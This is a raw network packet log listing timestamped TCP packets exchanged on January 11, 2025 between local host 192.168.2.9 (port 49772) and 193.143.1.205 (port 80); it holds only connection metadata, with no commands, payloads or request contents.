Jan 11, 2025 01:55:39.933729887 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.933759928 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.933772087 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.933794975 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.933830976 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.933832884 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.933864117 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.933900118 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.933933973 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.933943033 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.933968067 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.933974981 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.934001923 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.934036016 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.934072971 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.934079885 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.934111118 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.966398954 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.966425896 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.966437101 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.966511965 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.966578007 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.966578007 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.966588974 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.966602087 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.966614962 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.966646910 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.966650963 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.966662884 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.966686964 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.966690063 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.966700077 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.966711044 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.966736078 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.966763020 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.966766119 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.966780901 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.966819048 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.966869116 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.966968060 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.966981888 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967024088 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.967097044 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967134953 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.967288017 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967341900 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967353106 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967358112 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967375994 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967386961 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967387915 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.967397928 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967411041 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967422009 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.967439890 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.967571974 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967583895 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967591047 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967601061 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967613935 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967622995 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.967624903 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967637062 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967644930 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.967648029 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967660904 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967664003 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.967674971 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967684031 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.967717886 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967721939 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.967730045 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967741013 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967751026 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967761993 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967767954 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.967773914 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967789888 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.967791080 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967802048 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967813969 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967823029 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.967824936 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967837095 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967848063 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967848063 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.967859030 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967866898 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.967869997 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967881918 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967888117 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.967892885 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967904091 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967907906 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.967927933 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.967928886 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967941046 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967950106 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967961073 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967967987 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967967987 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.967973948 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967979908 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967989922 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.967999935 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.968019009 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.968019962 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.968038082 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.968046904 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.968049049 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.968065977 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.968077898 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.968086004 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.968089104 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.968099117 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.968110085 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.968115091 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.968122005 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.968135118 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.968135118 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.968147039 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.968158960 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.968167067 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.968172073 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.968179941 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.968190908 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.968209028 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.968221903 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.968234062 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.968240976 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.968251944 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.968262911 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.968274117 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.968285084 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.968292952 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.968297958 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.968308926 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.968321085 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.968323946 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.968333006 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.968348026 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.968362093 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.973395109 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.987833977 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.987862110 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.987875938 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.987886906 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.987986088 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.988149881 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.991254091 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.999322891 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.999344110 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.999360085 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.999371052 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.999383926 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.999424934 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.999465942 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.999476910 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.999510050 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.999521017 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.999538898 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.999547958 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.999550104 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.999561071 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.999571085 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.999603033 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.999605894 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.999619961 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.999665022 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.024703979 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.024717093 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.024785042 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.024795055 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.024813890 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.024826050 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.024837971 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.024849892 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.024853945 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.024859905 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.024869919 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.024879932 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.024884939 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.024892092 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.024907112 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.024924994 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.024930954 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.024935961 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.024946928 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.024962902 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.024986029 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.058057070 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058078051 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058088064 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058128119 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058140039 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.058175087 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.058178902 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058263063 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058274031 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058291912 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058312893 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.058335066 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058432102 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058442116 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058451891 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058476925 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.058501005 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.058532000 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058541059 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058551073 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058566093 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058573961 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.058583021 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058592081 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.058593988 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058604002 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058614016 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058624983 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058625937 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.058634996 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058645964 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058655977 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058665037 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.058675051 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058684111 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.058686018 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058706045 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058716059 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.058725119 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058746099 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.058768034 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058825970 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058836937 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058862925 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.058890104 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.058892965 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058976889 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058986902 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.058996916 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059007883 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059017897 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059022903 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.059055090 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.059057951 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059068918 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059071064 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.059077978 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059088945 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059098959 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059108973 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059112072 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.059135914 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.059151888 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.059160948 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059171915 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059181929 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059192896 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059202909 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059205055 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.059212923 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059222937 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059235096 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.059253931 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.059340000 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059350967 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059365988 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059376955 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059376955 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.059389114 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059398890 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059408903 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059410095 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.059420109 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059423923 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.059458971 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059468985 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059472084 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.059480906 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059492111 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059500933 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059505939 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.059511900 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059521914 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059526920 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.059535027 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059540987 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059549093 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.059551001 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059561014 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059566021 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.059592962 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.059771061 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059781075 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059791088 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059801102 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059811115 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059815884 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.059822083 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059828043 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059834003 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.059870005 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059878111 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.059880018 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059890032 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059900999 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059919119 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.059921026 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059931993 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.059936047 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059947014 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059957981 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059959888 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.059968948 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059981108 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.059988022 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.060007095 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.064657927 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.079364061 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.079394102 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.079411983 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.079416037 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.079510927 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.079521894 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.079533100 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.079541922 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.079586029 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.079623938 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.091187954 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.091197968 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.091208935 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.091224909 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.091236115 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.091245890 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.091255903 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.091265917 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.091301918 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.091361046 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.116363049 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.116381884 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.116394997 CET	80	49772	193.143.1.205	192.168.2.9
